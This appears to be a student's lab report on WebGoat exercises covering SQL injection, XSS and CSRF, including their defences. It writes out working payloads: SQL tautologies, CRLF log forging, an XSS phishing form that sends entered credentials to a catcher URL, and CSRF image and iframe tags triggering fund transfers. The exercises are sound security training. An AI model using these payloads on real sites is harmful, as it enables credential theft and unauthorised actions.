标签:htm 等等 param 搜索 没有 png 伪造 sql注入 进入
2.kali linux
Webgoat实践
理解常用网络攻击技术的基本原理
做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
抓图包括学号,P图或无学号,扣0.5分 (0.5分)
SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
将Jar包移动至文件目录下,执行命令运行Webgoat
java -jar webgoat-container-7.0.1-war-exec.jar
webgoat占用8080端口
浏览器中输入http://localhost:8080/WebGoat
进入WebGoat登录界面,课程可见左栏
SQL注入攻击原理,如何防御
原理:Web应用对后台数据库查询语句处理存在的安全漏洞。即输入字符串中嵌入SQL指令,设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果;
防御手段:禁止提交含有特殊字符的字符串,加密数据库中的内容等。
XSS攻击的原理,如何防御
原理:利用站点内的信任用户在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行;
防御手段:提交表单时检测特殊字符或网站开发者运用转义安全字符手段消除网站的XSS漏洞等。
CSRF攻击原理,如何防御
原理:通过伪装来自受信任用户的请求来利用受信任的网站(钓鱼网站);
防御手段:对于每一个重要的post提交页面都使用验证码。网页包含web server产生的token,提交时也将该token提交到服务器,服务器进行判断,如果token不对就判定为CSRF攻击;定期清理cookie或不使用cookie。
选中 Injection Flaws->Command Injection->inspect Element(检查元素)
右键点击复选框选择 Inspect 审查网页元素对源代码
View 可以看到网络端口使用情况和IP地址
webgoat%0d%0aLogin Succeeded for username: mark20172327
,%0d表示空格,%0a表示换行;SELECT * FROM weather_data WHERE station = ?
这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上value="101"
进行修改,在城市编号101后添加or 1=1
,就会发现选择哥伦比亚,所有城市都会显示‘
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容mark‘ or 1=1--
select表里面的所有数据创建一个form要求填写用户名和密码
在搜索框输入如下代码,页面增加一个表单
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
<script>alert(" 20172327mark");</script>
后点击Submit,显示内容为script脚本指定的警告框<img src="http://localhost:8080/WebGoat/attack?Screen=522&menu=900&transferFunds=2327 width="1" height="1"/>
<iframe src="attack?Screen=325&menu=900&transferFunds=2327"> </iframe>
<iframe src="attack?Screen=325&menu=900&transferFunds=CONFIRM"> </iframe>
这是一个好软件,在网络攻击中有很好的训练意义。SQL注入攻击、XSS攻击和CSRF攻击,这些都会发生在我们身边,这次虽然理解大概原理,但还是比较片面,所以,还要深入学习,拓宽见识。
最后一次实验,我们就要说再见了,实验不难,就jsp那遇到点小麻烦,但很容易就解决了,这是一个新领域,这学期的学习让我学会了很多,也感悟了很多,未来一定会有更多的机会在更多的领域磨练自己,养成一个勤加积累的好习惯让自己逐渐成长。
加油!
2019-2020-2 网络对抗技术 20172327 Exp9 Web安全基础
标签:htm 等等 param 搜索 没有 png 伪造 sql注入 进入
原文地址:https://www.cnblogs.com/mrf1209/p/12995625.html